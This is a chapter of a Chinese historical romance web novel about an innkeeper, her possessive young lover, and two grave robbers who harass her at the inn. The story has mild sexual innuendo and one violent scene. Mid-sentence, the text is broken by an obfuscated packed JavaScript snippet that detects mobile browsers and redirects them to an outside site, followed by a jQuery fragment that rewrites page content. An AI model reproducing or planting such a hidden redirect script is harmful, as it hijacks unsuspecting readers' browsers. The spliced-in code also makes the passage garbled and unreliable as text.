“笃笃。”
李红杏倚在客栈柜台上懒洋洋抬眼看了一眼,是杨佩兰。
“怎的这般模样?榨干了啊?”杨佩兰一脸戏谑,观好友这般萎顿情状就想笑。
李红杏心中叹气,不知怎么回事,自七夕后云连鹤格外黏人,不论白天黑夜。
她真觉着自己得去找个大夫看看腰了,架不住年轻小伙子生猛。
“唉……可别说了,我都拿春闱作由头避他一避,谁知一提这事更……”
平日里看着温温柔柔,一到某些时候就跟个生狼崽似的,又凶又磨人。
要是李红杏要躲的念头被他察觉,疾风骤雨只会来的更猛烈,骨子里带着一股执拗的狠劲儿,将她逼到极致却又在最后时刻放软姿态,哑着嗓子寻求她意愿,让她又气又笑。
一想到他学的这些东西,她气呼呼拍了下桌面,“七巧可害惨我了!”
“此话怎讲?”
“可还记得端午时她送我的那册书吗?”
“你不是说丢了?”杨佩兰眉毛一挑。
“没丢,他捡着了,学点东西尽折腾我了……”李红杏收拾被推倒的书籍时找到的,拿去质问,那斯竟然一本正经的说她喜欢。
“噗!”杨佩兰到底没忍住,调侃道:“这倒怨不得旁人。”
“嘶……”腰肢一阵酸软,李红杏又老实伏了回去。
杨佩兰“啧”了一声,压低声音道:“我瞧你分明甘之如饴。”
她哼哼唧唧没说话,虽口中抱怨,其中欢愉却做不得假。谁遭得住美人眼尾泛红的恳求,李红杏被迷得醉糊糊,他要什么都点头。
瞧瞧她这意犹未尽的样,杨佩兰端起小杯轻啜清茶,望向楼下熙攘街市,漫不经心提醒道:“你可别自己一股脑先陷进去。”
“……”
久候不闻应答,回头是李红杏欲言又止的神色,“怎么,悔了?”
“原以为是露水姻缘,却不想他比我想的更难以割舍……”李红杏托着腮,若有所思的拨弄算盘。
乖顺、听话,仿佛一切信任与爱意都向她拱手奉上,这与他兄长话说三分隐七分的性子完全不同。
他或许是山林野兽,却将那根捆扼咽喉的锁链交付与她,诱引她生出拥有掌控他生死的权利。
可这柔顺是真心还是假意?
李红杏拿不准。
“既难决断,不如维持现状,时间还长。”杨佩兰见她愁眉不展,转了话头,“过几日我就启程去枕荷邑,至年底会一直待在那。”
李红杏一愣,自上次筹划出行已过数月,确实再过几月就要到年底了,从身上找出她新租赁下的仓库钥匙,把钥匙递给杨佩兰。
“新调制的花露式样繁多,每样留些予我便可。让钱小二带你去认认仓库位置。”客栈尚有客人需要交付,不能完全让杨佩兰带走。
“好,等我好消息。”杨佩兰起身招呼钱小二过来。
“一切小心,等你归来一同过年。”路途遥远,又要走水路,杨佩兰再如何厉害,李红杏也是会担心。
杨佩兰打了个书信往来的手势带着钱小二离开了,意思是她会及时报平安。
许是中秋要来了,归家的客人渐多。钱小二一走,刘悦自己就出来帮忙招待客人。
“在福来可还适应?”李红杏见她如今生机勃勃的模样,笑问道。
“掌柜待我们母女恩重如山,福来也很好!给了我和女儿活下的机会。”刘悦手脚麻利的收拾桌子,捏着抹布似乎还有话要说。
“有话直说无妨。”李红杏寻常带着些许威压的眼神此时却很温柔,语调慢慢的。
刘悦想遇到这么好的掌柜是她之幸,鼓起勇气低声说是问更像是求:“听说掌柜的将来要转手客栈离开陈水镇,能否让刘悦跟着您继续做事……”
“若是掌柜的不便也,也无碍……”她也知道自己冒昧,但想到家中小女儿她必须争取。
短暂沉默,刘悦搓了搓手心的汗,听见李红杏温和道:“好。但未必会比现在安逸。”
“多谢掌柜!多谢掌柜!”刘悦眼中溢出欣喜,咧着嘴笑的傻。心里想着,过得再差也不会如她之前孤儿寡母遭受那样的欺凌,陈水镇留给她的只有痛苦不堪。
李红杏看她手下动作越发轻快,连背影都透着开心,低头浅浅一笑。刘悦是个实在人,与其出去后重新招人不如带一个知根知底的,倒也省的费心。
她低头接着拨弄算盘,从客栈售卖花露以来,刨去从采买香料的成本,她这半年净赚千两白银。
到底是行商,花钱如流水。家中女眷若是喜欢,有一便有二,李红杏在这陈水镇都能生意源源不断,更别说将来换到商业繁盛的枕荷邑。加上她这几年的积蓄,到时候出去先盘个小铺子应是不难。
‘希望阿兰这趟一切顺利。’
“啪!”瓷碗摔裂声惊得满堂食客抬头,慌忙循着声响处看去。
“你这厨娘怎么回事,怎么酒都端不稳!”
靠近大门处那桌坐着两位生面孔,身上绸缎非寻常百姓用得起。
身形矮壮的糙汉向刘悦发难,她被忽然呵斥吓的站在原地,她也不知怎么的脚下被绊了一下,嗫嗫道:“不好意思不好意思……”想要给他擦擦,却被大力推开。
“叫你们掌柜的出来,会不会调教伙计?!”糙汉不依不挠,一双尖利小眼直往柜台瞟。
众人见状不由的皱眉,这人何必小题大做。
‘原是冲着自己来的。’李红杏暗自冷笑,缓缓走了过去。只是这眼神盯着她久了,李红杏莫名觉得熟悉,好似曾在哪儿也被这么看过……
她面色未改,端着一盘点心,二位贵客海量,别与厨娘计较。来,”李红杏漾着笑,素手轻盈一推糕点碟子,“尝尝咱们客栈新出的点心~”
她一手背在身后挥了挥,示意刘悦回去。
那男人本也不是为了刘悦,自然不管她走不走,满脸油腻笑容夹着令人作呕的扫视,意味深长低语:“我与娘子可有一面之缘。”
后劲寒意掠过惊起一身冷汗,这眼神!
李红杏想起来了!这是那夜两个盗墓贼!
她压下心中惊诧,眼眸一转,当着众人面颇为大方道:“杏娘不再叨扰贵客用饭,您二位今日酒水算杏娘的,聊表歉意,望二位贵客海涵。”
话音才落,那原本坐着翻书的另一人竟大庭广众之下伸手欲要揽她腰肢,“哎,别走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731173|174023||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊,急什么?掌柜的如此貌美,陪我们哥俩说说话,小酌一杯~”
李红杏见状速速后撤一步,心一急脚下不稳险些跌倒,干净凌冽的青竹气息比人更快一步,一只温热的手稳稳托住后腰,李红杏惊喜唤道:“阿鹤,你来了!”
云连鹤未应,一只修长的手从李红杏身侧伸出,“咔嚓。”一声清晰脆响,那想要偷袭李红杏的人手腕已被扣住,骨节掐紧而泛白。
李红杏见云连鹤到来心口那气儿还未松下,又闻“咔嚓”一声,转瞬间那人被云连鹤死死摁于桌面,他垂下的眼睫在鼻梁上投下阴翳,喉结重重一滚。
“谁让你碰她的?”失去温和的嗓音裹着森然如冰。
李红杏一怔,微微抬头,云连鹤温润如玉的眉眼此时阴沉的可怕,漆黑双眸浸透汹涌的杀意。
“阿鹤……”李红杏轻轻拽住他衣袖唤道,可人已然听不进去。
云连鹤向来受不了李红杏被欺辱,更何况要是晚来一步,那双脏手就要碰上了。
“哼。”他冷漠无情的扫了一眼那只手,有些东西就该尽早砍了。
另一人想要上前帮忙,却被云连鹤一个眼神僵在原地。手下越发用力,那男人被掐的无法喘息,脸色紫红。
“小郎君可快快松手,人快没气了!”客人见势不好,赶紧劝道,可云连鹤却毫无反应。
‘不好,阿鹤似乎又魇住了!’李红杏垂下的手瞬间握紧,这么多人不能让这事暴露。
想要在四处寻找趁手工具,眼一亮,李红杏端起桌面清茶,往云连鹤脸上一泼。
冰凉茶水兜头淋下,云连鹤身形一滞,未褪去漠然的双眸冷冷看向李红杏,头微微一侧似有不解。
这般无情眼神李红杏从未见过,她抿紧双唇,生生压下后退的本能。
其实自山洞相救那夜起,她便隐约察觉云连鹤的温润如玉不过是表象,内里藏着伺机而动的凶兽,与那观音面容的慈悲截然无关。
更有甚者,是他容易沉浸在杀意中。可是为何?明明他幼时受两位仁慈的老人赡养,本不该……
“阿鹤你答应我,不要动手。”李红杏握住他手腕,第一次这么严肃,眼中的执意不容拒绝。这两人若在镇上出事,云连鹤首当其冲,伤人嫌疑一旦沾身,便是春闱时洗不净的污点。
云连鹤颤动淋湿的睫毛,挂在其上的水珠如泪簌簌而下,他凝着李红杏,眼底寂寂。良久,点了点头,松开痛晕的男人。
“好,我们回家。”恰好见势不对就去找捕快的刘悦回来了,李红杏示意她留下处理。
她牵着云连鹤离开,不管身后众人何种惊诧。
-
三更梆子响过,李红杏仍盯着房梁。
只要一闭上眼,云连鹤面无表情折断那人手腕的狠戾模样仿佛在眼前,阴冷可怖的气息挥之不去。
若不是她阻拦,那二人怕是要步岳全德后尘。
‘他答应过的。’李红杏无声喃喃,可心中惴惴辗转难眠。
“咔哒。”有人出门了。
很轻微的动静,若不是李红杏没睡着,怕是完全察觉不到。
李红杏倏然睁眼,指尖攥紧被褥。
云连鹤出去了。